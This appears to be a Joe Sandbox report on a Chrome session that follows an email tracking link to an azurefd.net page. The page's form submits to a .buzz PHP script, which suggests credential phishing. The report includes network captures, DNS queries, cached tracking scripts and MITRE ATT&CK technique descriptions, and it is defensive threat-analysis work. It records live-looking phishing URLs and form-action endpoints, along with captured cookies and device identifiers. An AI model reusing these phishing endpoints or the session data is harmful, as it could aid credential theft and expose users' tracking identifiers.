.facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* 'unsafe-inline' blob: data: 'self' connect.facebook.net '
2024-07-03 12:38:49 UTC	1819	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 73 65 6c 66 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 61 74 74 65 72 79 3d 28 73 65 6c 66 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 64 70 72 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 68 2d 76 69 65 77 70 6f Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(self), autoplay=(), battery=(self), bluetooth=(), camera=(self), ch-device-memory=(), ch-downlink=(), ch-dpr=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), ch-viewpo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	49783	157.240.0.35	443	3628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 12:38:50 UTC	678	OUT	GET /tr/?redirect=0&rqm=GET&coo=false&it=1720010324745&cdl=API_unavailable&ler=empty&fbp=fb.1.1720010325961.1187528993&o=4126&ec=2&r=stable&v=2.9.160&sh=1024&sw=1280&ts=1720010327099&if=false&rl=&dl=https%3A%2F%2F9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net%2F&ev=Scroll_50&id=541164370529087 HTTP/1.1 Host: www.facebook.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: fr=0XcjeV8M3ZXKiOfNL..BmhUZY...1.0.BmhUZY.
2024-07-03 12:38:50 UTC	464	IN	HTTP/1.1 200 OK Content-Type: text/plain Access-Control-Allow-Origin: Access-Control-Allow-Credentials: true Strict-Transport-Security: max-age=31536000; includeSubDomains cross-origin-resource-policy: cross-origin Server: proxygen-bolt X-FB-Connection-Quality: GOOD; q=0.7, rtt=89, rtx=0, c=10, mss=1392, tbw=3404, tp=-1, tpl=-1, uplat=0, ullat=0 Alt-Svc: h3=":443"; ma=86400 Date: Wed, 03 Jul 2024 12:38:50 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.5	49790	23.1.237.91	443

Timestamp	Bytes transferred	Direction	Data
2024-07-03 12:38:53 UTC	2148	OUT	POST /threshold/xls.aspx HTTP/1.1 Origin: https://www.bing.com Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: / Accept-Language: en-CH Content-type: text/xml X-Agent-DeviceId: 01000A410900D492 X-BM-CBT: 1696428841 X-BM-DateFormat: dd/MM/yyyy X-BM-DeviceDimensions: 784x984 X-BM-DeviceDimensionsLogical: 784x984 X-BM-DeviceScale: 100 X-BM-DTZ: 120 X-BM-Market: CH X-BM-Theme: 000000;0078d7 X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66E X-Device-ClientSession: DB0AFB19004F47BC80E5208C7478FF22 X-Device-isOptin: false X-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A} X-Device-OSSKU: 48 X-Device-Touch: false X-DeviceID: 01000A410900D492 X-MSEdge-ExternalExp: d-thshld39,d-thshld42,d-thshld77,d-thshld78,staticsh X-MSEdge-ExternalExpType: JointCoord X-PositionerType: Desktop X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI X-Search-CortanaAvailableCapabilities: None X-Search-SafeSearch: Moderate X-Search-TimeZone: Bias=-60; DaylightBias=-60; TimeZoneKeyName=W. Europe Standard Time X-UserAgeClass: Unknown Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: www.bing.com Content-Length: 2484 Connection: Keep-Alive Cache-Control: no-cache Cookie: MUID=2F4E96DB8B7049E59AD4484C3C00F7CF; _SS=SID=1A6DEABB468B65843EB5F91B47916435&CPID=1720010300022&AC=1&CPH=d1a4eb75; _EDGE_S=SID=1A6DEABB468B65843EB5F91B47916435; SRCHUID=V=2&GUID=3D32B8AC657C4AD781A584E283227995&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231004; SRCHHPGUSR=SRCHLANG=en&IPMH=986d886c&IPMID=1696428841029&HV=1696428756; CortanaAppUID=5A290E2CC4B523E2D8B5E2E3E4CB7CB7; MUIDB=2F4E96DB8B7049E59AD4484C3C00F7CF
2024-07-03 12:38:53 UTC	1	OUT	Data Raw: 3c Data Ascii: <
2024-07-03 12:38:53 UTC	2483	OUT	Data Raw: 43 6c 69 65 6e 74 49 6e 73 74 52 65 71 75 65 73 74 3e 3c 43 49 44 3e 33 36 34 34 46 44 37 34 44 46 31 36 36 31 38 46 30 38 46 37 45 43 30 33 44 45 35 35 36 30 30 31 3c 2f 43 49 44 3e 3c 45 76 65 6e 74 73 3e 3c 45 3e 3c 54 3e 45 76 65 6e 74 2e 43 6c 69 65 6e 74 49 6e 73 74 3c 2f 54 3e 3c 49 47 3e 37 35 32 32 38 31 35 36 37 30 33 41 34 30 44 35 42 39 37 45 35 41 36 38 33 36 46 32 41 31 43 45 3c 2f 49 47 3e 3c 44 3e 3c 21 5b 43 44 41 54 41 5b 7b 22 43 75 72 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 2f 41 53 2f 41 50 49 2f 57 69 6e 64 6f 77 73 43 6f 72 74 61 6e 61 50 61 6e 65 2f 56 32 2f 49 6e 69 74 22 2c 22 50 69 76 6f 74 22 3a 22 51 46 22 2c 22 54 22 3a 22 43 49 2e 42 6f 78 4d 6f 64 65 6c 22 2c 22 46 49 44 22 3a 22 43 49 Data Ascii: ClientInstRequest><CID>3644FD74DF16618F08F7EC03DE556001</CID><Events><E><T>Event.ClientInst</T><IG>75228156703A40D5B97E5A6836F2A1CE</IG><D><![CDATA[{"CurUrl":"https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init","Pivot":"QF","T":"CI.BoxModel","FID":"CI
2024-07-03 12:38:53 UTC	480	IN	HTTP/1.1 204 No Content Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 03063E0360054863A319A7447D46F7F4 Ref B: LAX311000108035 Ref C: 2024-07-03T12:38:53Z Date: Wed, 03 Jul 2024 12:38:53 GMT Connection: close Alt-Svc: h3=":443"; ma=93600 X-CDN-TraceID: 0.57ed0117.1720010333.1be2a628

Target ID:	0
Start time:	08:38:31
Start date:	03/07/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	08:38:35
Start date:	03/07/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2504 --field-trial-handle=2468,i,8799287499187348250,9871557580759045562,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	08:38:38
Start date:	03/07/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://u6071375.ct.sendgrid.net/ls/click?upn=u001.jNebCYco-2BJgBMGJDj1kJWP39IKixFvDeSBij1PLovvXT0hkMSWjEhuIEgwQ-2F309CwGFmoY6-2Bl45VLW7K9Sd8-2Fg-3D-3Dm1D8_bgsmQmhs-2BDkrnAcljUiGIti1-2F3303-2FliL2Lyr586-2FN9rAlBFKILfRyjObk6Iz5-2FtMSxC-2FhiWOZXbqnmzeZXBiy3CSpPIYxz2-2BTcFMtFX6z-2FFKaL9cuMNNsd9H8Soth9M-2BiGwIhw5kRyphke6a8RYyV0rtdDONsX7lNk6Cr796v-2FIJZ8nzBJ39o6b-2FDySakEM-2B9nvScrgUWzDogJp7LxfPQ-3D-3D"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Source: https://9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net/	HTTP Parser: Form action: https://1b3rmrwdw.buzz/gun/1.php azurefd 1b3rmrwdw
Source: https://9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net/	HTTP Parser: Form action: https://1b3rmrwdw.buzz/gun/1.php azurefd 1b3rmrwdw

Source: https://9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net/	HTTP Parser: Iframe src: https://www.googletagmanager.com/ns.html?id=GTM-WN2J6
Source: https://9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net/	HTTP Parser: Iframe src: https://td.google.com
Source: https://9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net/	HTTP Parser: Iframe src: https://www.googletagmanager.com/ns.html?id=GTM-WN2J6
Source: https://9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net/	HTTP Parser: Iframe src: https://td.google.com

Source: https://9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net/	HTTP Parser: Form action: https://1b3rmrwdw.buzz/gun/1.php
Source: https://9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net/	HTTP Parser: Form action: https://1b3rmrwdw.buzz/gun/1.php

Source: https://9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net/	HTTP Parser: No <meta name="author".. found
Source: https://9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net/	HTTP Parser: No <meta name="author".. found

Source: https://9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net/	HTTP Parser: No <meta name="copyright".. found
Source: https://9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net/	HTTP Parser: No <meta name="copyright".. found

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.97.153
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.97.153
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.97.153
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.97.153
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.97.153
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.97.153
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.97.153
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.97.153
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.97.153
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.97.153
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.97.153
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.97.153
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.97.153
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.97.153
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.97.153
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.97.153
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.97.153
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: chromecache_169.2.dr	String found in binary or memory: (function(a,b,c,d){var e={exports:{}};e.exports;(function(){var f=a.fbq;f.execStart=a.performance&&a.performance.now&&a.performance.now();if(!function(){var b=a.postMessage\|\|function(){};if(!f){b({action:"FB_LOG",logType:"Facebook Pixel Error",logMessage:"Pixel code is not installed correctly on this page"},"");"error"in console&&console.error("Facebook Pixel Error: Pixel code is not installed correctly on this page");return!1}return!0}())return;f.__fbeventsModules\|\|(f.__fbeventsModules={},f.__fbeventsResolvedModules={},f.getFbeventsModules=function(a){f.__fbeventsResolvedModules[a]\|\|(f.__fbeventsResolvedModules[a]=f.__fbeventsModules[a]());return f.__fbeventsResolvedModules[a]},f.fbIsModuleLoaded=function(a){return!!f.__fbeventsModules[a]},f.ensureModuleRegistered=function(b,a){f.fbIsModuleLoaded(b)\|\|(f.__fbeventsModules[b]=a)});f.ensureModuleRegistered("signalsFBEventsGetIwlUrl",function(){return function(a,b,c,d){var e={exports:{}};e.exports;(function(){"use strict";var b=f.getFbeventsModules("signalsFBEventsGetTier"),c=d();function d(){try{if(a.trustedTypes&&a.trustedTypes.createPolicy){var b=a.trustedTypes;return b.createPolicy("facebook.com/signals/iwl",{createScriptURL:function(a){var b=new URL(a);b=b.hostname.endsWith(".facebook.com")&&b.pathname=="/signals/iwl.js";if(!b)throw new Error("Disallowed script URL");return a}})}}catch(a){}return null}e.exports=function(a,d){d=b(d);d=d==null?"www.facebook.com":"www."+d+".facebook.com";d="https://"+d+"/signals/iwl.js?pixel_id="+a;if(c!=null)return c.createScriptURL(d);else return d}})();return e.exports}(a,b,c,d)});f.ensureModuleRegistered("signalsFBEventsGetTier",function(){return function(f,b,c,d){var e={exports:{}};e.exports;(function(){"use strict";var a=/^https:\/\/www\.([A-Za-z0-9\.]+)\.facebook\.com\/tr\/?$/,b=["https://www.facebook.com/tr","https://www.facebook.com/tr/"];e.exports=function(c){if(b.indexOf(c)!==-1)return null;var d=a.exec(c);if(d==null)throw new Error("Malformed tier: "+c);return d[1]}})();return e.exports}(a,b,c,d)});f.ensureModuleRegistered("SignalsFBEvents.plugins.iwlbootstrapper",function(){return function(a,b,c,d){var e={exports:{}};e.exports;(function(){"use strict";var c=f.getFbeventsModules("SignalsFBEventsIWLBootStrapEvent"),d=f.getFbeventsModules("SignalsFBEventsLogging"),g=f.getFbeventsModules("SignalsFBEventsNetworkConfig"),h=f.getFbeventsModules("SignalsFBEventsPlugin"),i=f.getFbeventsModules("signalsFBEventsGetIwlUrl"),j=f.getFbeventsModules("signalsFBEventsGetTier"),k=d.logUserError,l=/^https:\/\/.\.facebook\.com$/i,m="FACEBOOK_IWL_CONFIG_STORAGE_KEY",n=null;e.exports=new h(function(d,e){try{n=a.sessionStorage?a.sessionStorage:{getItem:function(a){return null},removeItem:function(a){},setItem:function(a,b){}}}catch(a){return}function h(c,d){var e=b.createElement("script");e.async=!0;e.onload=function(){if(!a.FacebookIWL\|\|!a.FacebookIWL.init)return;var b=j(g.ENDPOINT);b!=null&&a.FacebookIWL.set&&a.FacebookIWL.set("tier",b);d()};a.FacebookIWLSessionEnd=func
Source: chromecache_145.2.dr	String found in binary or memory: L.getElementsByTagName("iframe"),oa=Q.length,ma=0;ma<oa;ma++)if(!u&&c(Q[ma],E.xe)){$I("https://www.youtube.com/iframe_api");u=!0;break}})}}else I(v.vtp_gtmOnSuccess)}var q=["www.youtube.com","www.youtube-nocookie.com"],r={UNSTARTED:-1,ENDED:0,PLAYING:1,PAUSED:2,BUFFERING:3,CUED:5},t,u=!1;Z.__ytl=n;Z.__ytl.C="ytl";Z.__ytl.isVendorTemplate=!0;Z.__ytl.priorityOverride=0;Z.__ytl.isInfrastructure=!1; equals www.youtube.com (Youtube)
Source: chromecache_145.2.dr, chromecache_167.2.dr	String found in binary or memory: Math.round(p);v["gtm.videoCurrentTime"]=Math.round(q);v["gtm.videoElapsedTime"]=Math.round(f);v["gtm.videoPercent"]=r;v["gtm.videoVisible"]=t;return v},Tj:function(){e=Db()},pd:function(){d()}}};var jc=ka(["data-gtm-yt-inspected-"]),DC=["www.youtube.com","www.youtube-nocookie.com"],EC,FC=!1; equals www.youtube.com (Youtube)
Source: chromecache_167.2.dr	String found in binary or memory: e\|\|f\|\|g.length\|\|k.length))return;var n={Rg:d,Pg:e,Qg:f,Fh:g,Gh:k,xe:m,Bb:b},p=F.YT,q=function(){LC(n)};if(p)return p.ready&&p.ready(q),b;var r=F.onYouTubeIframeAPIReady;F.onYouTubeIframeAPIReady=function(){r&&r();q()};I(function(){for(var t=H.getElementsByTagName("script"),u=t.length,v=0;v<u;v++){var w=t[v].getAttribute("src");if(OC(w,"iframe_api")\|\|OC(w,"player_api"))return b}for(var x=H.getElementsByTagName("iframe"),y=x.length,B=0;B<y;B++)if(!FC&&MC(x[B],n.xe))return Bc("https://www.youtube.com/iframe_api"), equals www.youtube.com (Youtube)
Source: chromecache_155.2.dr	String found in binary or memory: return function(a,b,c,d){var e={exports:{}};e.exports;(function(){"use strict";var a=f.getFbeventsModules("signalsFBEventsGetTier");e.exports=function(b,c){c=a(c);c=c==null?"www.facebook.com":"www."+c+".facebook.com";return"https://"+c+"/signals/iwl.js?pixel_id="+b}})();return e.exports}(a,b,c,d)}); equals www.facebook.com (Facebook)
Source: chromecache_155.2.dr	String found in binary or memory: return function(f,b,c,d){var e={exports:{}};e.exports;(function(){"use strict";var a=/^https:\/\/www\.([A-Za-z0-9\.]+)\.facebook\.com\/tr\/?$/,b=["https://www.facebook.com/tr","https://www.facebook.com/tr/"];e.exports=function(c){if(b.indexOf(c)!==-1)return null;var d=a.exec(c);if(d==null)throw new Error("Malformed tier: "+c);return d[1]}})();return e.exports}(a,b,c,d)}); equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: u6071375.ct.sendgrid.net
Source: global traffic	DNS traffic detected: DNS query: 87484878475.alt-xm-38iszmu.workers.dev
Source: global traffic	DNS traffic detected: DNS query: 9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: 1b3rmrwdw.buzz
Source: global traffic	DNS traffic detected: DNS query: x.clearbitjs.com
Source: global traffic	DNS traffic detected: DNS query: login.mailgun.com
Source: global traffic	DNS traffic detected: DNS query: cdn.rudderlabs.com
Source: global traffic	DNS traffic detected: DNS query: connect.facebook.net
Source: global traffic	DNS traffic detected: DNS query: j.6sc.co
Source: global traffic	DNS traffic detected: DNS query: get.sinchemail.com
Source: global traffic	DNS traffic detected: DNS query: td.google.com
Source: global traffic	DNS traffic detected: DNS query: tag.clearbitscripts.com
Source: global traffic	DNS traffic detected: DNS query: www.redditstatic.com
Source: global traffic	DNS traffic detected: DNS query: static.ads-twitter.com
Source: global traffic	DNS traffic detected: DNS query: snap.licdn.com
Source: global traffic	DNS traffic detected: DNS query: googleads.g.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: c.6sc.co
Source: global traffic	DNS traffic detected: DNS query: ipv6.6sc.co
Source: global traffic	DNS traffic detected: DNS query: t.co
Source: global traffic	DNS traffic detected: DNS query: analytics.twitter.com
Source: global traffic	DNS traffic detected: DNS query: px.ads.linkedin.com
Source: global traffic	DNS traffic detected: DNS query: www.facebook.com

Description:	Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring Application Access Token .
Tactics:	Initial Access
Data Sources:	Application Log: Application Log Content, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Process: Process Creation
Platforms:	Linux, macOS, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Boot Survival

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 144

Chrome Cache Entry: 145

Chrome Cache Entry: 146

Chrome Cache Entry: 147

Chrome Cache Entry: 148

Chrome Cache Entry: 149

Chrome Cache Entry: 150

Chrome Cache Entry: 151

Chrome Cache Entry: 152

Chrome Cache Entry: 153

Chrome Cache Entry: 154

Chrome Cache Entry: 155

Chrome Cache Entry: 156

Chrome Cache Entry: 157

Chrome Cache Entry: 158

Chrome Cache Entry: 159

Chrome Cache Entry: 160

Chrome Cache Entry: 161

Chrome Cache Entry: 162

Chrome Cache Entry: 163

Chrome Cache Entry: 164